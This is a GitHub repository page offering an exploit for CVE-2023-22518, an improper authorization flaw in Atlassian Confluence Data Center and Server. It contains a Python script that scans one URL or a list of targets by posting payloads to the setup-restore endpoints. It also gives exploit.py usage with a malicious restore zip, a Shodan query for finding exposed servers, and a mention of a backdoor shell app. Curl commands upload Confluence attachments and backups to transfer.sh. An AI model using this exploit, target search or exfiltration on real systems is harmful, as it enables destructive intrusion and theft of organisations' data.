ForceFledgling / CVE-2023-22518 Public

Notifications Fork 9 Star 55

Code Issues Pull requests Actions Projects Security Insights

main Go to file Code

ForceFledgling Update README.md 8dee6fd · last year 29 Commits

.gitignore	Initial commit	last year
DETAIL.md	Create DETAIL.md	last year
LICENSE	Initial commit	last year
README.md	Update README.md	last year
atlplug.jar	Add files via upload	last year
exploit.py	Add files via upload	last year
xmlexport-20231109-060519-1...	Add files via upload	last year

README MIT license

CVE-2023-22518

Improper Authorization Vulnerability in Confluence Data Center and Server.

Atlassian has alerted administrators about a critical vulnerability in Confluence. Exploiting this issue can lead to data loss, so developers urge you to install patches as soon as possible.

It is noted that the vulnerability cannot be used for data leakage, and it does not affect Atlassian Cloud sites accessed through the atlassian.net domain.

https://confluence.atlassian.com/security/cve-2023-22518-improper-authorization-vulnerability-in-confluence-data-center-and-server-1311473907.html

https://jira.atlassian.com/browse/CONFSERVER-93142

Product	Affected Versions	Fixed Versions
Confluence Data Center	All versions are affected	7.19.16 or later
Confluence Server		8.3.4 or later
		8.4.4 or later
		8.5.3 or later
		8.6.1 or later

Exploiting

Class: Improper authorization

CWE: CWE-285 / CWE-266

ATT&CK: T1548.002

About

Improper Authorization Vulnerability in Confluence Data Center and Server + bonus 🔥

python shell attack backdoor exploit hacking vulnerability vulnerabilities confluence cve atlassian hacking-tool atlassian-confluence critical exploiting improper

Readme
MIT license
Activity
55 stars
19 watching
9 forks
Report repository

Releases

No releases published

Packages

No packages published

Contributors 2

ForceFledgling Vladimir Penzin
altima Enno

Languages

Python 100.0%

Known attack vectors 🔥

/json/setup-restore.action

/json/setup-restore-local.action

/json/setup-restore-progress.action

/server-info.action Community Forum

A simple example of vulnerability testing in Python

```
import requests
import random
import string
import argparse
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(length=10):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

def post_setup_restore(baseurl):
    paths = ["/json/setup-restore.action", "/json/setup-restore-loca
    for path in paths:
        url = f"{baseurl.rstrip('/')}{path}"

        headers = {
            "X-Atlassian-Token": "no-check",
            "Content-Type": "multipart/form-data; boundary=----WebKi
        }

        rand_str = random_string()
        data = (
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"buildIndex\"\r\n
            "true\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            f"Content-Disposition: form-data; name=\"file\";filename=
            f"{rand_str}\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
            "Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
            "Upload and import\r\n"
            "------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
        )

        try:
            response = requests.post(url, headers=headers, data=data

            if (response.status_code == 200 and
                'The zip file did not contain an entry' in response.
                'exportDescriptor.properties' in response.text):
                print(f"[+] Vulnerable to CVE-2023-22518 on host {ur
            else:
                print(f"[-] Not vulnerable to CVE-2023-22518 for hos
        except requests.RequestException as e:
            print(f"[*] Error connecting to {url}. Error: {e}")

def main():
    parser = argparse.ArgumentParser(description="Post setup restore
    parser.add_argument('--url', help='The URL to target', required=
    parser.add_argument('--file', help='Filename containing a list o
    args = parser.parse_args()

    if args.url:
        post_setup_restore(args.url)
    elif args.file:
        with open(args.file, 'r') as f:
            for line in f:
                url = line.strip()
```

```
                if url:
                    post_setup_restore(url)
    else:
        print("You must provide either --url or --file argument.")

if __name__ == "__main__":
    main()
```

Use exploit 🔥

exploit.py

```
python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-restore.action?synchr
Enter the path to the .zip file: /path/xmlexport-20231109-060519-1.z
```

Bonus 🔥

Shodan search:

```
http.favicon.hash:-305179312
```

exploit-restore.zip

Confluence Backdoor Shell App

When resetting Confluence using this vulnerability, the directory %CONFLUENCE_HOME%/attachments remains full of files, potentially numbering in the thousands. Extracting them all is quite straightforward, and their extensions can be determined using the Linux file command. For example:

```
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG i

or

file /var/atlassian/application-data/confluence/attachments/v4/114/1
/var/atlassian/application-data/confluence/attachments/v4/114/128/35
```

Example of how to easily archive a directory and extract the archive:

```
tar -czvf /var/atlassian/application-data/confluence/attachments_bac
curl --upload-file /var/atlassian/application-data/attachments_backu
https://transfer.sh/**********/attachments_backup.tar.gz

or

curl --upload-file /var/atlassian/application-data/confluence/backup
https://transfer.sh/**********/backup-2023_09_26.zip
```

Novel backdoor persists even after critical Confluence vulnerability is patched

---

More useful information